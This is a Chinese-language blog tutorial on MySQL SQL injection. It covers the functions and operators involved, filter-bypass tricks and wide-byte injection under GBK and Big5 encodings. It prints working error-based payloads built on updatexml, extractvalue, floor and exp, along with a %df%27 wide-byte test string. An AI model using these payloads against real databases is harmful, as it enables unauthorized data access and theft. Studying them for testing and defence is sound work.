[TOC]
0x1 Forward
这篇文章的雏形我是发在了t00ls,后来我想了下还有其他挺有意思的内容还没总结进来,于是就有了一篇升级版(ps水货本质还是没变),希望有需要的师傅可以阅读看看。
0x2 MySQL 基础知识
1.字符串截取函数
left(str,index) //从左边第index开始截取
right(str,index) //从右边第index开始截取
substring(str,index) //从左边index开始截取
substr(str,index,len) //截取str,index开始,截取len的长度
mid(str,index,ken) //截取str 从index开始,截取len的长度
2.字符串比较
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0
3.字符串连接函数
concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//
4.一些绕过注入的罕见函数
instr(str1,substr) //从子字符串中返回子串第一次出现的位置
lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
5.运算符
0x5.1算术运算符:
+ - * /
0x5.2比较运算符:
= <> != > <
(1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
(2)in //select '123' in ('12') => 0
(3)like(模糊匹配) //select '12345' like '12%' => true
(4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true
0x5.3 逻辑运算符:
not或! 非
AND 逻辑与 == &&
OR 逻辑或 == ||
XOR 逻辑异或 == ^
0x5.4位运算符:
& 按位与
| 按位或
^ 按位异或
! 取反
<< 左移
>>右移
0x5.6.注释符
# //单行注释符,url记得编码为%23
/**/
--+
6.常用函数
0x6.1 延时函数
sleep()
benchmark(1000000,sha(1))
0x6.2 编码函数
hex() ascii()
0x6.3 文件函数
1.load_file //读取文件
2.outfile //写入文件
7.一些构造语句的知识
0x7.1 条件语句
if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
select case when (条件) then 代码1 else 代码 2 end
0x7.2 information_schema 结构
information_schema.tables:
查询表名:table_name 对应的数据库名: table_schema
information_schema.columns:
查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式
查询结果 + 比较运算符 + 猜测值
0x7.3mysql 报错注入
构造报错语句 + 查询结果
0x7.4 mysql 联合注入
构造联合语句 + 查询结果
0x7.5 mysql 盲注
查询结果 + 比较运算符 + 猜测值
0x7.6 mysql空白字符
%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释
# 这个也可以用来做分隔 挺有意思
0x7.7 some tips
0x7.6.1函数名和括号直接可以插入特殊字符 ex
concat/**/()
information_schema/**/./**/TABLES
information_schema%0a.%0aTABLES
0x7.6.2 {identifier expr}
select {x 1} from {x test} limit 1;
0x3 浅谈MYSQL报错注入(略)
常见payload如下:
1.floor()
and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.updatexml() //5.1.5
and 1=(updatexml(1,concat(0x3a,(select user())),1))
3.extractvalue() //5.1.5
and extractvalue(1,concat(0x5c,(select user())))
4.exp() //5.5.5版本之后可以使用
select host from user where user = 'root' and Exp(~(select * from (select version())a));
5.name_const //支持老版本
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
6.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错
select multipoint((select * from (select * from (select * from (select version())a)b)c));
0x4 浅谈宽字节注入
原理介绍: 【PHP代码审计】入门之路——第二篇-宽字节注入
(1)MYSQL client链接编码的锅
查看编码:show variables like '%character%'
当客户端连接编码设置为GBK的时候 与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。
测试payload: index.php?id=%df%27
流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運'
(2)MYSQL iconv函数 mb_convert_encoding函数的锅
借用先知: $id =iconv('GBK','UTF-8', $id)
%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27
其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。
(3)Big5编码导致的宽字节注入
之前有幸在ddctf 2017被虐过一次,当时就对这个点进行了一些小研究,比如编码的过程 由于当时啥也不懂,搞得有点奇怪,这里就记录一下